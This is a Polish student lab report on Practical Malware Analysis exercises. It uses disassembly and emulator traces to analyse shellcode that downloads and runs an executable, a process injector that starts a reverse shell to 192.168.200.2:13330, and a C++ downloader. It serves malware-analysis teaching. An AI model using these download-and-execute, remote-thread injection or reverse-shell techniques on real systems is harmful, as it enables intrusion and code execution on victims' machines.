

Laboratorium 6 - Shellcode, C++ analysis

Julia Sadecka, Cyberbezpieczeństwo

Laboratorium 6.1

1. Sposób zakodowania shellcode

Shellcode jest zakodowany alfabetycznie. Każdy bajt jest zakodowany.

```
Stack[00001B20]:0019AC0C db 14h
Stack[00001B20]:0019AC0D db 78h ; {
Stack[00001B20]:0019AC0E db 3Ah ; :
Stack[00001B20]:0019AC0F db 77h ; w
Stack[00001B20]:0019AC10 db 0A0h ;
Stack[00001B20]:0019AC11 db 76h ; v
Stack[00001B20]:0019AC12 db 6Ch ; l
Stack[00001B20]:0019AC13 db 0
Stack[00001B20]:0019AC14 db 0
Stack[00001B20]:0019AC15 db 0
Stack[00001B20]:0019AC16 db 67h ; g
Stack[00001B20]:0019AC17 db 0

Stack[00001B20]:0019AC0E db 3Ah ; :
Stack[00001B20]:0019AC0F ; -----|-----
- Stack[00001B20]:0019AC0F ja short near ptr unk_19ABB1
- Stack[00001B20]:0019AC11 jbe short near ptr unk_19AC7F
Stack[00001B20]:0019AC11 ; -----
Stack[00001B20]:0019AC13 db 0
Stack[00001B20]:0019AC14 db 0
```

2. Funkcje importowane ręcznie

Shellcode importuje takie funkcje jak: LoadLibraryA, GetSystemDirectoryA, TerminateProcess, GetCurrentProcess, WinExec, URLDownloadToFileA

```
LoadLibraryA(URLMON)
GetSystemDirectoryA( c:\windows\system32\ )
URLDownloadToFileA(http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe, c:\WINDOWS\system32\1.exe)
WinExec(c:\WINDOWS\system32\1.exe)
GetCurrentProcess() = 1
TerminateProcess(1) = 1
```

```

KERNELBASE.dll:75ABA140
KERNELBASE.dll:75ABA140
KERNELBASE.dll:75ABA140
KERNELBASE.dll:75ABA140 kernelbase_GetCurrentProcess proc near
KERNELBASE.dll:75ABA140 or     eax, offset byte_FFFFFFFF ; Logical Inclusive OR
KERNELBASE.dll:75ABA143 retn     ; Return Near from Procedure
KERNELBASE.dll:75ABA143 kernelbase_GetCurrentProcess endp
KERNELBASE.dll:75ABA143
KERNELBASE.dll:75AA5820 ; Attributes: Up-based frame
KERNELBASE.dll:75AA5820
KERNELBASE.dll:75AA5820 kernelbase_GetSystemDirectoryA proc near
KERNELBASE.dll:75AA5820
KERNELBASE.dll:75AA5820 arg_0= dword ptr 8
KERNELBASE.dll:75AA5820 arg_4= word ptr 0Ch
KERNELBASE.dll:75AA5820

```

3. Nazwa hosta sieciowego

Shellcode próbuje się komunikować z:

http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe

```

aHttpPractic db 'http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe',0
aCWindowsSystem db 'C:\Windows\system32\1.exe',0

```

4. Pozostałości shellcod'u

Z powyższego adresu jest pobierany plik 1.exe, zapisywany pod adresem: C:\WINDOWS\system32\1.exe i uruchamiany.

Laboratorium 6.2

1. Proces, w którym występuje iniekcja

W procesie SeDebugPrivilege przeszukuje rejestry w celu znalezienia informacji o aktualnej przeglądarce (rejestr \\http\\shell\\open\\command). W moim przypadku będzie to przeglądarka 'Microsoft Edge'. Ustawia także flagę oznaczającą widoczność na 0, czyli okienko nie będzie widoczne.

```

.text:00401025 018 push 1 ; samDesired
.text:00401027 01C push 0 ; ulOptions
.text:00401029 020 push offset SubKey ; "\\http\\shell\\open\\command"
.text:0040102E 024 push 80000000h ; hKey
.text:00401033 028 call ds:RegOpenKeyExA

.text:004011A2 060 mov [ebp+ProcessInformation.dwProcessId], eax
.text:004011A5 060 mov [ebp+ProcessInformation.dwThreadId], eax
.text:004011A8 060 mov [ebp+StartupInfo.cb], 44h ; 'D'
.text:004011AF 060 mov [ebp+StartupInfo.wShowWindow], 0
.text:004011B5 060 mov [ebp+StartupInfo.dwFlags], 1
.text:004011BC 060 lea ecx, [ebp+ProcessInformation]
.text:004011BF 060 push ecx ; lpProcessInformation
.text:004011C0 064 lea edx, [ebp+StartupInfo]

```

2. Miejsce lokalizacji

Shellcode jest zalokowany pod adresem unk_407030.

```
.text:00401403
.text:00401403 loc_401403: ; dwSize
.text:00401403 A18 push 1A7h
.text:00401408 A1C push offset unk_407030 ; lpBuffer
.text:0040140D A20 mov ecx, [ebp+dwProcessId]
.text:00401410 A20 push ecx ; dwProcessId
.text:00401411 A24 call sub_401230
.text:00401416 A24 add esp, 0Ch
.text:00401419 A18 mov [ebp+var_8], eax
.text:0040141C A18 cmp [ebp+var_8], 0
.text:00401420 A18 jnz short loc_401436

mov eax, [ebp+lpBaseAddress]
push eax ; lpBaseAddress
mov ecx, [ebp+hProcess]
push ecx ; hProcess
call ds:WriteProcessMemory
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4012FE

.text:004012FE
.text:004012FE loc_4012FE: ; lpThreadId
.text:004012FE 018 push 0
.text:00401300 01C push 0 ; dwCreationFlags
.text:00401302 020 push 0 ; lpParameter
.text:00401304 024 mov edx, [ebp+lpBaseAddress]
.text:00401307 024 push edx ; lpStartAddress
.text:00401308 028 push 0 ; dwStackSize
.text:0040130A 02C push 0 ; lpThreadAttributes
.text:0040130C 030 mov eax, [ebp+hProcess]
.text:0040130F 030 push eax ; hProcess
.text:00401310 034 call ds:CreateRemoteThread
.text:00401316 018 mov [ebp+var_4], eax
.text:00401319 018 cmp [ebp+var_4], 0
.text:0040131D 018 jnz short loc_401337
```

3. Sposób zakodowania

Jest on XORowany.

```
.data:0040703B
.data:0040703B loc_40703B: ; CODE
.data:0040703B xor [edi], al
.data:0040703D inc edi
.data:0040703E loopw loc_40703B
```

4. Hosty sieciowe

Komunikuje się on z adresem 192.168.200.2 na porcie: 13330.

```

4010dc  LoadLibraryA(ws2_32)
401104  WSASStartup(101)
401113  WSASocket(AF=2, tp=1, proto=0, group=0, flags=0)
401132  connect(h=42, host: 192.168.200.2 , port: 13330 ) = 42
40117a  CreateProcessA( cmd, ) = 0x1269
40117d  GetCurrentProcess() = 1
401186  TerminateProcess(1) = 1

```

5. Działanie shellcode'u

Program łączy się z powyższym adresem za pomocą remote shell.

Laboratorium 7.1

1. Przyjmowane parametry pod adresem 0x401040

Tak, przekazuje on parametr ecx, który jest wskaźnikiem "this" do adresu sub_401040. Wtedy wie on, że funkcja, którą uruchomi dotyczy utworzonego obiektu.

```

.text:00401040 000 push    ebp
.text:00401041 004 mov     ebp, esp
.text:00401043 004 push    ecx
.text:00401044 008 mov     [ebp+var_4], ecx
.text:00401047 008 push    0 ; LPBINDSTATUSCALLBACK
.text:00401049 00C push    0 ; DWORD
.text:0040104B 010 push    offset aCEmpdownloadEx ; "c:\tempdownload.exe"
.text:00401050 014 mov     eax, [ebp+var_4]
.text:00401053 014 mov     ecx, [eax]
.text:00401055 014 push    ecx ; LPCSTR
.text:00401056 018 push    0 ; LPUNKNOWN
.text:00401058 01C call    URLDownloadToFileA
.text:0040105D 008 mov     esp, ebp
.text:0040105F 004 pop     ebp
.text:00401060 000 retn
.text:00401060 sub_401040 endp
.text:00401060

```

2. URL w URLDownloadToFile

<http://www.practicalmalwareanalysis.com/cpp.html>

Offset	Type	Strings recognized URL
00005030	ASCII	http://www.practicalmalwareanalysis.com/cpp.html

3. Działanie programu

Program ściągnie plik z powyższej strony i zapisze go jako C:\tempdownload.exe

```
.text:00401047 008 push 0 ; LPBINDSTATUSCALLBACK
.text:00401049 00C push 0 ; DWORD
.text:0040104B 010 push offset aCEmpdownloadEx ; "c:\tempdownload.exe"
.text:00401050 014 mov eax, [ebp+var_4]
.text:00401053 014 mov ecx, [eax]
```